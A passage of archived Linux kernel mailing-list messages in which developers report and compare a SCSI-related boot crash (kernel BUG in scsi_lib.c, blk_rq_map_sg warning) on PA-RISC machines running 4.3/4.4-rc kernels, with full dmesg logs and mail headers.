scsi host0: sym-2.2.3
scsi 0:0:0:0: Direct-Access     COMPAQ   BF07285A36       HPB7 PQ: 0 ANSI: 3
scsi target0:0:0: tagged command queuing enabled, command queue depth 16.
scsi target0:0:0: Beginning Domain Validation
scsi target0:0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
scsi target0:0:0: Ending Domain Validation
random: nonblocking pool is initialized
sym1: <1010-66> rev 0x1 at pci 0000:20:01.1 irq 23
sym1: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi host1: sym-2.2.3
mousedev: PS/2 mouse device common for all mice
sd 0:0:0:0: [sda] 142264000 512-byte logical blocks: (72.8 GB/67.8 GiB)
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
NET: Registered protocol family 17
sd 0:0:0:0: [sda] Write Protect is off
rtc-generic rtc-generic: setting system clock to 2015-12-31 11:45:39 UTC (1451562339)
sd 0:0:0:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
 sda: sda1 sda2 sda3 sda4
sd 0:0:0:0: [sda] Attached SCSI disk
EXT4-fs (sda3): couldn't mount as ext3 due to feature incompatibilities
EXT4-fs (sda3): couldn't mount as ext2 due to feature incompatibilities
EXT4-fs (sda3): mounted filesystem with ordered data mode. Opts: (null)
VFS: Mounted root (ext4 filesystem) readonly on device 8:3.
devtmpfs: mounted
Freeing unused kernel memory: 1024K (0000000040100000 - 0000000040200000)
------------[ cut here ]------------
WARNING: at block/blk-merge.c:438
Modules linked in:
CPU: 0 PID: 1 Comm: init Not tainted 4.4.0-rc7-00028-gc616920 #81
task: 000000007fce8000 ti: 000000007fc3c000 task.ti: 000000007fc3c000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001101111111100001111 Not tainted
r00-03  000000ff0806ff0f 000000007fc3d990 0000000000000000 000000007fc3d990
r04-07  00000000407b20b0 0000000000000000 0000000000000110 0000000000000000
r08-11  0000000000000000 0000000000000001 000000033f8b6bf0 0000000000000000
r12-15  0000000000001000 000000033f9e0000 0000000000000002 0000000000000011
r16-19  0000000042174470 000000033f8b6bf0 000000033f8b6930 0000000000000000
r20-23  0000000000000000 000000007f1dd800 0000000000011000 0000000000000000
r24-27  0000000000000000 2ffffedf40000000 000000033f8b6bf0 00000000407b20b0
r28-31  0000000000000001 0000000000001000 000000007fc3dac0 0000000000000001
sr00-03  0000000000000000 0000000000000800 0000000000000000 0000000000000800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040481d9c 0000000040481da0
 IIR: 03ffe01f    ISR: 0000000010340800  IOR: 000003fe2d8b6bf0
 CPU:        0   CR30: 000000007fc3c000 CR31: ffffffffffffffff
 ORIG_R28: 0000000000000158
 IAOQ[0]: blk_rq_map_sg+0x5cc/0x600
 IAOQ[1]: blk_rq_map_sg+0x5d0/0x600
 RP(r2):           (null)
Backtrace:
 [<00000000405510d0>] scsi_init_sgtable+0xa0/0x130
 [<00000000405511b4>] scsi_init_io+0x54/0x160
 [<0000000040570958>] sd_init_command+0x68/0x708
 [<00000000405513c4>] scsi_setup_cmnd+0x104/0x1a0
 [<0000000040551f54>] scsi_queue_rq+0x864/0x9f8
 [<00000000404877f4>] __blk_mq_run_hw_queue+0x2e4/0x4e0
 [<00000000404874e4>] blk_mq_run_hw_queue+0xdc/0x108
 [<000000004048928c>] blk_mq_insert_requests+0x15c/0x190
 [<000000004048a19c>] blk_mq_flush_plug_list+0x17c/0x1a8
 [<000000004047af64>] blk_flush_plug_list+0x104/0x2b0
 [<000000004047b4c4>] blk_finish_plug+0x44/0x68
 [<00000000402ee0dc>] __do_page_cache_readahead+0x29c/0x360
 [<00000000402dfb4c>] filemap_fault+0x4f4/0x5a0
 [<000000004030d464>] __do_fault+0x5c/0x148
 [<000000004031360c>] handle_mm_fault+0xa84/0x1a10

---[ end trace 4a3faaec387ada43 ]---
------------[ cut here ]------------
kernel BUG at drivers/scsi/scsi_lib.c:1096!
CPU: 0 PID: 1 Comm: init Tainted: G        W       4.4.0-rc7-00028-gc616920 #81
task: 000000007fce8000 ti: 000000007fc3c000 task.ti: 000000007fc3c000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001101111111100001111 Tainted: G        W
r00-03  000000ff0806ff0f 000000007fc3d990 00000000405510d0 000000007fc3d8f0
r04-07  00000000407b20b0 0000000000000001 000000033f8b6b48 000000033f8b6930
r08-11  000000033f871000 000000007f148000 0000000000011000 0000000040999d00
r12-15  000000033f871000 000000033f8b6930 0000000000000000 000000033f871000
r16-19  0000000000000000 0000000000000158 000000033f854ba0 0000000000000000
r20-23  0000000000000000 000000007f1dd800 0000000000011000 0000000000000000
r24-27  0000000000000000 2ffffedf40000000 000000033f8b6bf0 00000000407b20b0
r28-31  0000000000000002 0000000000001000 000000007fc3d990 0000000000000001
sr00-03  0000000000000000 0000000000000800 0000000000000000 0000000000000800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040551140 0000000040551144
 IIR: 03ffe01f    ISR: 0000000000000000  IOR: 0000000000000000
 CPU:        0   CR30: 000000007fc3c000 CR31: ffffffffffffffff
 ORIG_R28: 0000000000000000
 IAOQ[0]: scsi_init_sgtable+0x110/0x130
 IAOQ[1]: scsi_init_sgtable+0x114/0x130
 RP(r2): scsi_init_sgtable+0xa0/0x130
Backtrace:
 [<00000000405511b4>] scsi_init_io+0x54/0x160
 [<0000000040570958>] sd_init_command+0x68/0x708
 [<00000000405513c4>] scsi_setup_cmnd+0x104/0x1a0
 [<0000000040551f54>] scsi_queue_rq+0x864/0x9f8
 [<00000000404877f4>] __blk_mq_run_hw_queue+0x2e4/0x4e0
 [<00000000404874e4>] blk_mq_run_hw_queue+0xdc/0x108
 [<000000004048928c>] blk_mq_insert_requests+0x15c/0x190
 [<000000004048a19c>] blk_mq_flush_plug_list+0x17c/0x1a8
 [<000000004047af64>] blk_flush_plug_list+0x104/0x2b0
 [<000000004047b4c4>] blk_finish_plug+0x44/0x68
 [<00000000402ee0dc>] __do_page_cache_readahead+0x29c/0x360
 [<00000000402dfb4c>] filemap_fault+0x4f4/0x5a0
 [<000000004030d464>] __do_fault+0x5c/0x148
 [<000000004031360c>] handle_mm_fault+0xa84/0x1a10

CPU: 0 PID: 1 Comm: init Tainted: G        W       4.4.0-rc7-00028-gc616920 #81
Backtrace:
 [<0000000040216888>] show_stack+0x20/0x38
 [<00000000404a2fac>] dump_stack+0xac/0x130
 [<0000000040216a5c>] die_if_kernel+0x19c/0x2e0
 [<0000000040217948>] handle_interruption+0x9a8/0x9d0

---[ end trace 4a3faaec387ada44 ]---
note: init[1] exited with preempt_count 2
Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b

---[ end Kernel panic - not syncing: Attempted to kill init! 
exitcode=0x0000000b

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: parisc late boot crash in 4.4-rc, scsi-related
Date: Fri, 8 Jan 2016 23:30:22 +0200 (EET)
Lines: 169
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1601082329270.23187@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1452288649 20808 80.91.229.3 (8 Jan 2016 21:30:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 21:30:49 +0000 (UTC)
To: linux-parisc@vger.kernel.org, linux-block@vger.kernel.org,
	linux-scsi@vger.kernel.org
Original-X-From: linux-scsi-owner@vger.kernel.org Fri Jan 08 22:30:48 2016
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1aHecQ-0007Hd-UP
	for lnx-linux-scsi@plane.gmane.org; Fri, 08 Jan 2016 22:30:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755117AbcAHVap (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Fri, 8 Jan 2016 16:30:45 -0500
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:51995 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751909AbcAHVap (ORCPT <rfc822;linux-scsi@vger.kernel.org>);
	Fri, 8 Jan 2016 16:30:45 -0500
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id 85381215BF;
	Fri,  8 Jan 2016 23:30:43 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id C6B1222111E; Fri,  8 Jan 2016 23:30:22 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id B9BD8220D43;
	Fri,  8 Jan 2016 23:30:22 +0200 (EET)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:109361 gmane.linux.ports.parisc:26338
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/109361>

(Try 2, spelling linux-block correctly - please ignore the previous one)

I noticed on RP3440 and A500 that recent 4.4-rc* crashes on boot. The 
following is dmesg that was copied piecewise by hand from ILO console 
log (so it can contain some whitespace damage), from 
4.4.0-rc7-00028-gc616920 on RP3440:

SCSI subsystem initialized
NET: Registered protocol family 2
TCP established hash table entries: 131072 (order: 8, 1048576 bytes)
TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
TCP: Hash tables configured (established 131072 bind 65536)
UDP hash table entries: 8192 (order: 6, 262144 bytes)
UDP-Lite hash table entries: 8192 (order: 6, 262144 bytes)
NET: Registered protocol family 1
Chassis warnings not supported.
Performance monitoring counters enabled for Storm Peak Slow
futex hash table entries: 1024 (order: 3, 32768 bytes)
HugeTLB registered 2 MB page size, pre-allocated 0 pages
Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
io scheduler noop registered
io scheduler deadline registered
io scheduler cfq registered (default)
PDC Stable Storage facility v0.30
STI GSC/PCI core graphics driver Version 0.9b
Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
0000:e0:01.0: ttyS0 at MMIO 0xfffffffff4051000 (irq = 27, base_baud = 115200) is a 16450
0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050000 (irq = 27, base_baud = 115200) is a 16550A
console [ttyS1] enabled
console [ttyS1] enabled
bootconsole [ttyB0] disabled
bootconsole [ttyB0] disabled
0000:e0:01.1: ttyS2 at MMIO 0xfffffffff4050010 (irq = 27, base_baud = 115200) is a 16550A
0000:e0:01.1: ttyS3 at MMIO 0xfffffffff4050038 (irq = 27, base_baud = 115200) is a 16550A
sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 22
sym0: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi host0: sym-2.2.3
scsi 0:0:0:0: Direct-Access     COMPAQ   BF07285A36       HPB7 PQ: 0 ANSI: 3
scsi target0:0:0: tagged command queuing enabled, command queue depth 16.
scsi target0:0:0: Beginning Domain Validation
scsi target0:0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
scsi target0:0:0: Ending Domain Validation
random: nonblocking pool is initialized
sym1: <1010-66> rev 0x1 at pci 0000:20:01.1 irq 23
sym1: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi host1: sym-2.2.3
mousedev: PS/2 mouse device common for all mice
sd 0:0:0:0: [sda] 142264000 512-byte logical blocks: (72.8 GB/67.8 GiB)
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
NET: Registered protocol family 17
sd 0:0:0:0: [sda] Write Protect is off
rtc-generic rtc-generic: setting system clock to 2015-12-31 11:45:39 UTC (1451562339)
sd 0:0:0:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
 sda: sda1 sda2 sda3 sda4
sd 0:0:0:0: [sda] Attached SCSI disk
EXT4-fs (sda3): couldn't mount as ext3 due to feature incompatibilities
EXT4-fs (sda3): couldn't mount as ext2 due to feature incompatibilities
EXT4-fs (sda3): mounted filesystem with ordered data mode. Opts: (null)
VFS: Mounted root (ext4 filesystem) readonly on device 8:3.
devtmpfs: mounted
Freeing unused kernel memory: 1024K (0000000040100000 - 0000000040200000)
------------[ cut here ]------------
WARNING: at block/blk-merge.c:438
Modules linked in:
CPU: 0 PID: 1 Comm: init Not tainted 4.4.0-rc7-00028-gc616920 #81
task: 000000007fce8000 ti: 000000007fc3c000 task.ti: 000000007fc3c000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001101111111100001111 Not tainted
r00-03  000000ff0806ff0f 000000007fc3d990 0000000000000000 000000007fc3d990
r04-07  00000000407b20b0 0000000000000000 0000000000000110 0000000000000000
r08-11  0000000000000000 0000000000000001 000000033f8b6bf0 0000000000000000
r12-15  0000000000001000 000000033f9e0000 0000000000000002 0000000000000011
r16-19  0000000042174470 000000033f8b6bf0 000000033f8b6930 0000000000000000
r20-23  0000000000000000 000000007f1dd800 0000000000011000 0000000000000000
r24-27  0000000000000000 2ffffedf40000000 000000033f8b6bf0 00000000407b20b0
r28-31  0000000000000001 0000000000001000 000000007fc3dac0 0000000000000001
sr00-03  0000000000000000 0000000000000800 0000000000000000 0000000000000800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040481d9c 0000000040481da0
 IIR: 03ffe01f    ISR: 0000000010340800  IOR: 000003fe2d8b6bf0
 CPU:        0   CR30: 000000007fc3c000 CR31: ffffffffffffffff
 ORIG_R28: 0000000000000158
 IAOQ[0]: blk_rq_map_sg+0x5cc/0x600
 IAOQ[1]: blk_rq_map_sg+0x5d0/0x600
 RP(r2):           (null)
Backtrace:
 [<00000000405510d0>] scsi_init_sgtable+0xa0/0x130
 [<00000000405511b4>] scsi_init_io+0x54/0x160
 [<0000000040570958>] sd_init_command+0x68/0x708
 [<00000000405513c4>] scsi_setup_cmnd+0x104/0x1a0
 [<0000000040551f54>] scsi_queue_rq+0x864/0x9f8
 [<00000000404877f4>] __blk_mq_run_hw_queue+0x2e4/0x4e0
 [<00000000404874e4>] blk_mq_run_hw_queue+0xdc/0x108
 [<000000004048928c>] blk_mq_insert_requests+0x15c/0x190
 [<000000004048a19c>] blk_mq_flush_plug_list+0x17c/0x1a8
 [<000000004047af64>] blk_flush_plug_list+0x104/0x2b0
 [<000000004047b4c4>] blk_finish_plug+0x44/0x68
 [<00000000402ee0dc>] __do_page_cache_readahead+0x29c/0x360
 [<00000000402dfb4c>] filemap_fault+0x4f4/0x5a0
 [<000000004030d464>] __do_fault+0x5c/0x148
 [<000000004031360c>] handle_mm_fault+0xa84/0x1a10

---[ end trace 4a3faaec387ada43 ]---
------------[ cut here ]------------
kernel BUG at drivers/scsi/scsi_lib.c:1096!
CPU: 0 PID: 1 Comm: init Tainted: G        W       4.4.0-rc7-00028-gc616920 #81
task: 000000007fce8000 ti: 000000007fc3c000 task.ti: 000000007fc3c000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001101111111100001111 Tainted: G        W
r00-03  000000ff0806ff0f 000000007fc3d990 00000000405510d0 000000007fc3d8f0
r04-07  00000000407b20b0 0000000000000001 000000033f8b6b48 000000033f8b6930
r08-11  000000033f871000 000000007f148000 0000000000011000 0000000040999d00
r12-15  000000033f871000 000000033f8b6930 0000000000000000 000000033f871000
r16-19  0000000000000000 0000000000000158 000000033f854ba0 0000000000000000
r20-23  0000000000000000 000000007f1dd800 0000000000011000 0000000000000000
r24-27  0000000000000000 2ffffedf40000000 000000033f8b6bf0 00000000407b20b0
r28-31  0000000000000002 0000000000001000 000000007fc3d990 0000000000000001
sr00-03  0000000000000000 0000000000000800 0000000000000000 0000000000000800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040551140 0000000040551144
 IIR: 03ffe01f    ISR: 0000000000000000  IOR: 0000000000000000
 CPU:        0   CR30: 000000007fc3c000 CR31: ffffffffffffffff
 ORIG_R28: 0000000000000000
 IAOQ[0]: scsi_init_sgtable+0x110/0x130
 IAOQ[1]: scsi_init_sgtable+0x114/0x130
 RP(r2): scsi_init_sgtable+0xa0/0x130
Backtrace:
 [<00000000405511b4>] scsi_init_io+0x54/0x160
 [<0000000040570958>] sd_init_command+0x68/0x708
 [<00000000405513c4>] scsi_setup_cmnd+0x104/0x1a0
 [<0000000040551f54>] scsi_queue_rq+0x864/0x9f8
 [<00000000404877f4>] __blk_mq_run_hw_queue+0x2e4/0x4e0
 [<00000000404874e4>] blk_mq_run_hw_queue+0xdc/0x108
 [<000000004048928c>] blk_mq_insert_requests+0x15c/0x190
 [<000000004048a19c>] blk_mq_flush_plug_list+0x17c/0x1a8
 [<000000004047af64>] blk_flush_plug_list+0x104/0x2b0
 [<000000004047b4c4>] blk_finish_plug+0x44/0x68
 [<00000000402ee0dc>] __do_page_cache_readahead+0x29c/0x360
 [<00000000402dfb4c>] filemap_fault+0x4f4/0x5a0
 [<000000004030d464>] __do_fault+0x5c/0x148
 [<000000004031360c>] handle_mm_fault+0xa84/0x1a10

CPU: 0 PID: 1 Comm: init Tainted: G        W       4.4.0-rc7-00028-gc616920 #81
Backtrace:
 [<0000000040216888>] show_stack+0x20/0x38
 [<00000000404a2fac>] dump_stack+0xac/0x130
 [<0000000040216a5c>] die_if_kernel+0x19c/0x2e0
 [<0000000040217948>] handle_interruption+0x9a8/0x9d0

---[ end trace 4a3faaec387ada44 ]---
note: init[1] exited with preempt_count 2
Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b

---[ end Kernel panic - not syncing: Attempted to kill init! 
exitcode=0x0000000b

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: parisc late boot crash in 4.4-rc, scsi-related
Date: Fri, 8 Jan 2016 22:43:19 +0100
Lines: 218
Approved: news@gmane.org
Message-ID: <56902D77.1020200@gmx.de>
References: <alpine.LRH.2.20.1601082329270.23187@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1452289418 32611 80.91.229.3 (8 Jan 2016 21:43:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 21:43:38 +0000 (UTC)
To: Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org,
	linux-block@vger.kernel.org, linux-scsi@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 22:43:30 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aHeoj-0002iY-DM
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Jan 2016 22:43:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754728AbcAHVn2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2016 16:43:28 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:58834 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753561AbcAHVn0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2016 16:43:26 -0500
Original-Received: from [192.168.20.60] ([92.203.58.169]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0LptId-1Zg8XG0pz5-00ffCT; Fri, 08 Jan 2016 22:43:21
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <alpine.LRH.2.20.1601082329270.23187@math.ut.ee>
X-Provags-ID: V03:K0:ep2kiwSnSq1XZrG5fc43duH0Ct8dxDaGkRqnnq6amQ+sJbCfn5i
 v3+sPSeCu38uSnqF1nhmSrbPhMEHOmyMK5jQtfIyg2t7Gf9/kaizzTJmViNCYwAmZGzZ2Om
 v+K3MW69IIPu9zZ6OXu+WbKueI747+7ZIkeL9ZccsKhYIEosvxeCDQ4m1kqWvXIjudup+JO
 rId0pIyvMnk9/tTyFYkzA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:AzeXb3ylBLY=:qwGwk22HQZeFxTZM5VRBdc
 yWTHkLIA1CUcyyFIjrXerBAdhoETEgNzwXnXC2Vt5zk9JWq/KK2P8rf0S1zpo7xqyeOfKXMq/
 5OywK9sAZTXIobIPGBWUHXBx/DQPTGJAGDabJvRPWGA43KCy+zYm04I4Z9bGy7B6kVSOs/hJr
 zxGJKNgklQEbK+MzGMo9wTR5eF/evcyWZaTmHk1wtz9iGI/AAAsq48+GmWGFCS6aQ9Xy5a4Gv
 TQp4L4Ww/5aY7ui/yoUiHow0VElHg0Pg/asQGomWn4Yi2ihug7mCWXoGnH2HotrEEYiXGnKvQ
 rSKxs9bt500OKFKsFq7CHNLL63fc4E9cEe2khZrn2oVLOmRjfZjZe/fC8GsMNMocq6RjUaEAE
 voak2enNMSv5n1BoD5Xs+0embHZE2wamSaSt5GTgFE+ceTbxxKSicbXu1+B0FVFZAKmVZakM1
 y94TSmmmoRydsLHIvXCnFhldI9pPSgLxADcwjm+V8KiGpLUB/wv7vEqLPgp2JPtarm2u3zulh
 HBlarbnRhbfp81Rg2luplqMk42cqz93RoYG+4UlhrEvYATF45M0+l7rzEJyGzBY3mgjrmmQXP
 IfY6pdOnYNo/CXtP27KFwKL3pyMGr4BKfS0a8q3TRxsU6lfIBrHUSO5JWCuIeiwVR+tEdtqWQ
 essKOmdd0L6vNiKUJzFyu35KvANpIMlbGTy/cbCYnhii2sR3m4rK+CWMezrBDtTL9nsxMeGR5
 L5AEzWoCCl63CKnT09KSIslLGM5YKiL0RbKH8ypktU87GqGwC1ScpVoGQkGA4gZcDhJdKTQs 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26339 gmane.linux.scsi:109363
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26339>

On 08.01.2016 22:30, Meelis Roos wrote:
> (Try 2, spelling linux-block correctly - please ignore the previous one)
> 
> I noticed on RP3440 and A500 that recent 4.4-rc* crashes on boot.

I've not seen it with 4.4-rc yet, but I've seen it on debian kernel 4.3.3:

[   25.516000] scsi_id(112): unaligned access to 0x00000000facdf009 at ip=0x000000004100390b
[   25.628000] sd 3:0:6:0: [sdb] Attached SCSI disk
[   25.716000] scsi_id(113): unaligned access to 0x00000000fada7009 at ip=0x000000004100390b
[   25.864000] random: nonblocking pool is initialized
[   25.928000] Backtrace:
[   25.928000]  [<000000000046feb8>] scsi_init_sgtable+0x70/0x168 [scsi_mod]
[   25.928000]  [<000000000047001c>] scsi_init_io+0x6c/0x258 [scsi_mod]
[   25.928000]  [<0000000000828f28>] sd_init_command+0x70/0xec8 [sd_mod]
[   25.928000] 
[   25.928000] 
[   25.928000] Bad Address (null pointer deref?): Code=15 regs=00000000bbe69100 (Addr=c00002613ce9de94)
[   25.928000] CPU: 0 PID: 67 Comm: systemd-udevd Not tainted 4.3.0-1-parisc64-smp #1 Debian 4.3.3-4
[   25.928000] task: 00000000bbe67548 ti: 00000000bbe68000 task.ti: 00000000bbe68000
[   25.928000] 
[   25.928000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[   25.928000] PSW: 00001000000001001111111100001110 Not tainted
[   25.928000] r00-03  000000ff0804ff0e 00000000bbe68fd0 000000004043abd8 00000000bbe68fd0
[   25.928000] r04-07  00000000408eea40 0000000000014000 0000000000000000 000000000000001c
[   25.928000] r08-11  0000000000000001 0000000000000000 f4b3d2613ce9de94 00000000bbd94100
[   25.928000] r12-15  00000000000001c0 000000000000000a 0000000000001000 000000007f8c3148
[   25.928000] r16-19  0000000000000000 0000000000001000 0000000041dfa600 0000000000001000
[   25.928000] r20-23  0000000000000000 000000007fabac00 0000000000011000 0000000040987a40
[   25.928000] r24-27  0000000000000000 0000000040e18000 000000007fac1d30 00000000408eea40
[   25.928000] r28-31  f4b3d2613ce9de94 00000000bbe690d0 00000000bbe69100 0000000000000001
[   25.928000] sr00-03  0000000000014000 0000000000000000 0000000000000000 0000000000014000
[   25.928000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[   25.928000] 
[   25.928000] IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004043abe0 000000004043abe4
[   25.928000]  IIR: 0d4010dc    ISR: 0000000034b3d000  IOR: c00002613ce9de94
[   25.928000]  CPU:        0   CR30: 00000000bbe68000 CR31: 00000000d20345e0
[   25.928000]  ORIG_R28: 0000000000000000
[   25.928000]  IAOQ[0]: blk_rq_map_sg+0x2a0/0x568
[   25.928000]  IAOQ[1]: blk_rq_map_sg+0x2a4/0x568
[   25.928000]  RP(r2): blk_rq_map_sg+0x298/0x568
[   25.928000] Backtrace:
[   25.928000]  [<000000000046feb8>] scsi_init_sgtable+0x70/0x168 [scsi_mod]
[   25.928000]  [<000000000047001c>] scsi_init_io+0x6c/0x258 [scsi_mod]
[   25.928000]  [<0000000000828f28>] sd_init_command+0x70/0xec8 [sd_mod]


Interestingly on a C8000 workstation I see instead:
[   25.920000] kernel BUG at /build/linux-2YuUZy/linux-4.3.3/drivers/scsi/scsi_lib.c:1096!

Helge

> The 
> following is dmesg that was copied piecewise by hand from ILO console 
> log (so it can contain some whitespace damage), from 
> 4.4.0-rc7-00028-gc616920 on RP3440:
> 
> SCSI subsystem initialized
> NET: Registered protocol family 2
> TCP established hash table entries: 131072 (order: 8, 1048576 bytes)
> TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
> TCP: Hash tables configured (established 131072 bind 65536)
> UDP hash table entries: 8192 (order: 6, 262144 bytes)
> UDP-Lite hash table entries: 8192 (order: 6, 262144 bytes)
> NET: Registered protocol family 1
> Chassis warnings not supported.
> Performance monitoring counters enabled for Storm Peak Slow
> futex hash table entries: 1024 (order: 3, 32768 bytes)
> HugeTLB registered 2 MB page size, pre-allocated 0 pages
> Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
> io scheduler noop registered
> io scheduler deadline registered
> io scheduler cfq registered (default)
> PDC Stable Storage facility v0.30
> STI GSC/PCI core graphics driver Version 0.9b
> Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
> 0000:e0:01.0: ttyS0 at MMIO 0xfffffffff4051000 (irq = 27, base_baud = 115200) is a 16450
> 0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050000 (irq = 27, base_baud = 115200) is a 16550A
> console [ttyS1] enabled
> console [ttyS1] enabled
> bootconsole [ttyB0] disabled
> bootconsole [ttyB0] disabled
> 0000:e0:01.1: ttyS2 at MMIO 0xfffffffff4050010 (irq = 27, base_baud = 115200) is a 16550A
> 0000:e0:01.1: ttyS3 at MMIO 0xfffffffff4050038 (irq = 27, base_baud = 115200) is a 16550A
> sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 22
> sym0: No NVRAM, ID 7, Fast-80, LVD, parity checking
> sym0: SCSI BUS has been reset.
> scsi host0: sym-2.2.3
> scsi 0:0:0:0: Direct-Access     COMPAQ   BF07285A36       HPB7 PQ: 0 ANSI: 3
> scsi target0:0:0: tagged command queuing enabled, command queue depth 16.
> scsi target0:0:0: Beginning Domain Validation
> scsi target0:0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
> scsi target0:0:0: Ending Domain Validation
> random: nonblocking pool is initialized
> sym1: <1010-66> rev 0x1 at pci 0000:20:01.1 irq 23
> sym1: No NVRAM, ID 7, Fast-80, LVD, parity checking
> sym1: SCSI BUS has been reset.
> scsi host1: sym-2.2.3
> mousedev: PS/2 mouse device common for all mice
> sd 0:0:0:0: [sda] 142264000 512-byte logical blocks: (72.8 GB/67.8 GiB)
